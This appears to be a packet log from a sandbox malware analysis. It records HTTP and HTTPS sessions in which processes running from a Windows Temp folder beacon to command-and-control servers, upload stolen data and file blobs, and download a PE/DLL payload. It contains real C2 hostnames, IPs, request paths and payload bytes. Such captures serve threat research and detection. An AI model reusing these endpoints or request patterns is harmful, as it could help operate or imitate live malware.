Dec 23, 2024 17:19:03.065053940 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:19:04.399622917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.9	49920	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:04.721728086 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:19:05.940103054 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.9	49921	185.156.73.23	80	4988	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:04.852967024 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:19:06.181113958 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.9	49922	185.215.113.206	80	4712	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:04.877820969 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file"------FCFIJEBFCGDAAKFHIDBF--
Dec 23, 2024 17:19:06.704365015 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.9	49923	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:04.902446985 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:19:06.220271111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.9	49925	185.121.15.192	80	6940	C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:05.850475073 CET	647	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20ht.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------gGii4ZZAr8dAp24CG7h2GT Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 67 47 69 69 34 5a 5a 41 72 38 64 41 70 32 34 43 47 37 68 32 47 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 6f 68 6f 77 75 73 69 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f6 84 8e a6 f8 55 21 0e f9 20 50 89 08 9a d9 2c be 3d ee 2a 60 aa 3e e2 01 91 97 e3 88 6b 50 85 0a 4c b2 45 41 40 b7 7c ef 4c fb 20 80 cc 9a b9 f7 4b a3 78 b3 a7 6f 40 a1 42 cc 8d 09 13 b3 8f 4c 5d ff 07 3d dc 33 f5 a6 04 36 61 20 24 46 f5 77 b9 a5 11 04 31 70 2c 6f 76 6e 88 3b 81 e4 6f e0 b0 ab 2e 5f 5e 1e de 80 c4 c6 a4 a9 b0 70 4f 45 30 7b a2 7a 2e 41 d8 dd 75 bf 84 c1 23 ed 5d dd 07 b0 c6 53 e6 b1 e2 73 06 ba c5 61 6e 5d 76 e3 36 0b 72 18 cb 21 aa 2b ad 95 c1 11 0f 0c 09 80 fc 07 d0 36 88 89 ec 74 31 6f 85 73 10 52 [TRUNCATED] Data Ascii: --------------------------gGii4ZZAr8dAp24CG7h2GTContent-Disposition: form-data; name="file"; filename="Dohowusis.bin"Content-Type: application/octet-streamU! P,=*`>kPLEA@\|L Kxo@BL]=36a $Fw1p,ovn;o._^pOE0{z.Au#]Ssan]v6r!+6t1osRu<fFF=+=W3R%nf7 t29<Yy?Xmky--------------------------gGii4ZZAr8dAp24CG7h2GT--
Dec 23, 2024 17:19:07.274353027 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 16:19:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734972548 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.9	49928	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:06.079210043 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:19:07.547466040 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 23, 2024 17:19:07.547482014 CET	224	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(**~to(
Dec 23, 2024 17:19:07.547530890 CET	1236	IN	Data Raw: 33 00 00 06 02 74 13 00 00 01 17 6f b6 00 00 0a 2a 5e 28 b9 00 00 0a 72 e4 11 00 70 1b 6f ba 00 00 0a 15 31 02 17 2a 16 2a 3e 02 fe 15 10 00 00 02 02 03 7d 25 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a Data Ascii: 3to^(rpo1>}%(Co(D(E}%(F(E(&>}(Co(D}(F(E(&">}4{Eorprpo(j};({=
Dec 23, 2024 17:19:07.547597885 CET	1236	IN	Data Raw: 28 b7 00 00 06 2a 46 02 7b 63 00 00 04 6f ff 00 00 0a 74 11 00 00 01 2a 62 02 7b 63 00 00 04 03 6f 00 01 00 0a 02 73 fd 00 00 0a 6f e8 00 00 0a 2a 32 02 7b 64 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 64 00 00 04 03 6f 79 00 00 0a 02 03 7d 5e 00 00 04 Data Ascii: (F{cotb{coso2{dow~{doy}^soF{dotb{doso2{eoN{eo(2{eoxR}[{eo{N>oo}N{X:}X
Dec 23, 2024 17:19:07.547611952 CET	1236	IN	Data Raw: 00 0a 2a 86 02 7b 84 00 00 04 6f 39 01 00 0a 02 28 07 01 00 06 6f 40 01 00 0a 6f 36 00 00 0a 6f 54 00 00 0a 2a 1e 02 7b 80 00 00 04 2a b6 02 7b 84 00 00 04 6f 39 01 00 0a 6f 42 01 00 0a 02 16 8d 65 00 00 01 7d 80 00 00 04 02 7b 83 00 00 04 72 a8 Data Ascii: {o9(o@o6oT{{o9oBe}{rpo2{o6{o2{of{o{oZ{orp(J{oo{6{o2{o*6{o
Dec 23, 2024 17:19:07.547626019 CET	1236	IN	Data Raw: 04 02 72 a8 0f 00 70 7d af 00 00 04 02 73 6d 01 00 0a 7d b0 00 00 04 02 28 1f 00 00 0a 02 03 7d ae 00 00 04 2a 56 02 1f 0a 7d b1 00 00 04 02 28 7d 00 00 0a 02 28 8d 01 00 06 2a 1e 02 7b b1 00 00 04 2a 22 02 03 7d b1 00 00 04 2a 1e 02 7b b2 00 00 Data Ascii: rp}sm}(}V}(}({"}{"}{,(w}{(y{((t{,{(y((u{,{(y((*z,{,{o/(v
Dec 23, 2024 17:19:07.547816992 CET	1236	IN	Data Raw: 02 6f 78 00 00 0a 6f 92 00 00 0a 2a 32 02 7b d7 00 00 04 6f bd 00 00 0a 2a 36 02 7b d7 00 00 04 03 6f c1 00 00 0a 2a 32 02 7b d7 00 00 04 6f 7c 01 00 0a 2a 36 02 7b d7 00 00 04 03 6f 7d 01 00 0a 2a 32 02 7b d7 00 00 04 6f 7e 01 00 0a 2a 36 02 7b Data Ascii: oxo2{o6{o2{o\|6{o}2{o~6{o6{o&v{rpo{o&>{(z,{,{o/(z*}{{(){{(){{()
Dec 23, 2024 17:19:07.547830105 CET	1236	IN	Data Raw: 0a 2a 3a 02 17 7d 0d 01 00 04 02 28 6d 02 00 06 2a 3a 02 16 7d 0d 01 00 04 02 28 6d 02 00 06 2a 4a 02 7b 15 01 00 04 02 6f d2 00 00 0a 6f d3 00 00 0a 2a 4a 02 7b 15 01 00 04 02 6f 78 00 00 0a 6f 92 00 00 0a 2a 32 02 7b 15 01 00 04 6f bd 00 00 0a Data Ascii: :}(m:}(mJ{ooJ{oxo2{ob{oso(,(ooo(f(ooo(z,{,{o/(z2}(}(}(r(
Dec 23, 2024 17:19:07.547842026 CET	776	IN	Data Raw: 6f 74 00 00 0a 2a 3a 02 7b 2f 01 00 04 02 14 6f 74 00 00 0a 2a 3a 02 7b 2e 01 00 04 02 14 6f 74 00 00 0a 2a 1e 02 7b 43 01 00 04 2a 52 02 03 7d 43 01 00 04 02 02 7b 43 01 00 04 28 29 00 00 06 2a 1e 02 7b 3e 01 00 04 2a 32 02 7b 46 01 00 04 6f 78 Data Ascii: ot:{/ot:{.ot{CR}C{C(){>2{Fox6{Fo{?r{>,{Eoo}?{@r{>-{Eoo}@B(({C(){A({B(J{Foxo
Dec 23, 2024 17:19:07.547854900 CET	1236	IN	Data Raw: 00 04 28 29 00 00 06 2a 32 02 7b 56 01 00 04 6f f2 00 00 0a 2a 36 02 7b 56 01 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 52 01 00 04 2a 1e 02 7b 53 01 00 04 2a 7a 03 2c 13 02 7b 55 01 00 04 2c 0b 02 7b 55 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a Data Ascii: ()2{Vo6{Voo{R{Sz,{U,{Uo/(zR}Y((?n}Y(o(?"}W{Y"}YJ{W{Xoz,{[,{[o/(*rpr,p(BrprHp(B(9
Dec 23, 2024 17:19:07.668029070 CET	1236	IN	Data Raw: 0a 7d 95 01 00 04 02 7b 95 01 00 04 17 6f ff 01 00 0a 02 7b 95 01 00 04 72 c0 1f 00 70 6f 00 02 00 0a 02 7b 95 01 00 04 6f 01 02 00 0a 2a a2 02 7b 96 01 00 04 6f cf 00 00 0a 02 73 02 02 00 0a 7d a2 01 00 04 02 7b a2 01 00 04 6f 03 02 00 0a 02 28 Data Ascii: }{o{rpo{o{os}{o(j,3os*os{"}F((F((>((F+((,z{,{o"o*z{,{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.9	49929	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:06.159962893 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:19:07.495697975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.9	49930	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:06.424139023 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:19:07.749495029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49712	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-23 16:16:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 16:16:16 UTC	1141	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fbr5b1jh1ifbhvjf54el1lt6u4; expires=Fri, 18 Apr 2025 10:02:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qA51NXLm5M23S8vrtc2aBAnaDBBYywltePimRiQKQW%2Fxp%2BBvcFxfB8bhUUevaPIUz%2Bngjs%2BQhkjsSMJJ%2F1JTuZwDq43HtBpmgT8%2FryTRBkHC%2FL%2FIq%2FNtT%2Fuiv0wvHjnY%2FiKeeguj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a7b3dda54217-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1610&rtt_var=628&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1710603&cwnd=240&unsent_bytes=0&cid=24b78b594c32ae4c&ts=760&x=0"
2024-12-23 16:16:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 16:16:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49713	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:17 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: pancakedipyps.click
2024-12-23 16:16:17 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 64 65 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--dec&j=
2024-12-23 16:16:18 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s2t7rqtd8hma68gld0n1033ars; expires=Fri, 18 Apr 2025 10:02:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BfzVefoWbXvvyu00SV3F5r8mT45rnGstTfQtVsiIhDQOm0cbVC80rnrdswANtxwGlt0IqkSkwNnFIppTTeNEvLkLwwXeyvtqy2BuHzrCOoSWaye2OdRz8v0BLLxUWtJIDX%2B8B2Kx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a7c05d167287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1791&rtt_var=679&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=948&delivery_rate=1630374&cwnd=191&unsent_bytes=0&cid=a1998065d18b6a3c&ts=780&x=0"
2024-12-23 16:16:18 UTC	248	IN	Data Raw: 34 39 31 63 0d 0a 39 54 41 66 53 4c 38 4d 6f 53 4b 76 54 5a 46 33 73 6a 62 48 4a 30 45 42 31 42 73 76 49 30 37 4d 36 32 43 6d 4f 6b 6f 34 70 33 57 4f 45 6d 6c 71 68 54 69 4e 41 4e 77 6f 73 30 33 47 52 4c 4a 43 62 53 4f 31 66 77 30 5a 4b 4b 32 48 45 38 4d 57 61 45 37 4b 56 38 39 57 66 69 54 4d 61 59 30 41 79 6a 57 7a 54 65 6c 4e 35 55 49 76 49 2b 34 35 53 6b 6b 73 72 59 63 43 78 31 45 6c 53 4d 73 57 6e 56 78 34 49 4e 70 76 78 55 50 44 49 50 51 53 31 31 65 74 53 53 68 73 76 48 59 4e 44 32 79 70 6b 55 4b 63 47 41 64 64 30 78 53 34 55 57 77 6a 6e 58 47 4e 57 59 30 6f 2f 31 57 49 46 4b 5a 43 49 32 32 79 66 30 52 4c 4a 71 53 50 41 38 4a 51 4f 6c 48 42 48 5a 31 53 65 79 48 51 5a 74 46 4f 79 53 66 2f 46 4e 31 58 35 51 74 6a 5a 4b 34 35 46 51 Data Ascii: 491c9TAfSL8MoSKvTZF3sjbHJ0EB1BsvI07M62CmOko4p3WOEmlqhuserNwos03GRLJCbSO1fw0ZKK2HE8MWaE7KV89WfiTMaY0AyjWzTelN5UIvI+45SkksrYcCx1ElSMsWnVx4INpvxUPDIPQS11etSShsvHYND2ypkUKcGAdd0xS4UWwjnXGNWY0o/1WIFKZCI22yf0RLJqSPA8JQOlHBHZ1SeyHQZtFOySf/FN1X5QtjZK45FQ
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 46 2f 6e 49 6f 54 31 55 30 6c 53 73 4e 58 69 42 78 6b 61 74 70 69 67 78 69 4e 4a 2f 38 62 31 56 65 71 51 69 4a 6a 70 48 5a 4e 51 69 53 6d 6a 51 6a 4c 56 79 64 55 7a 78 43 66 57 33 6f 6c 32 6d 62 46 54 38 35 76 76 56 58 58 54 4f 55 64 59 30 4f 6d 65 6b 35 56 49 62 2f 4a 48 59 70 42 61 46 33 4a 56 38 38 53 65 79 54 63 59 38 4e 53 78 53 54 34 45 4d 4a 66 72 45 67 75 59 37 74 7a 51 6b 49 73 71 59 4d 49 79 31 49 73 56 38 67 52 6c 31 49 39 5a 4a 31 70 32 77 43 56 62 39 41 51 77 46 4f 70 55 32 46 5a 39 6d 59 44 57 47 79 70 68 55 4b 63 47 43 42 66 78 68 53 63 58 58 34 69 31 6e 7a 44 55 73 73 69 39 67 66 57 55 61 74 50 49 48 47 38 64 30 74 43 4a 61 57 41 42 38 4e 63 61 42 53 46 45 49 38 53 4a 57 72 38 59 38 68 4d 78 7a 6a 7a 56 63 38 61 76 41 55 6b 62 2f 59 68 44 Data Ascii: F/nIoT1U0lSsNXiBxkatpigxiNJ/8b1VeqQiJjpHZNQiSmjQjLVydUzxCfW3ol2mbFT85vvVXXTOUdY0Omek5VIb/JHYpBaF3JV88SeyTcY8NSxST4EMJfrEguY7tzQkIsqYMIy1IsV8gRl1I9ZJ1p2wCVb9AQwFOpU2FZ9mYDWGyphUKcGCBfxhScXX4i1nzDUssi9gfWUatPIHG8d0tCJaWAB8NcaBSFEI8SJWr8Y8hMxzjzVc8avAUkb/YhD
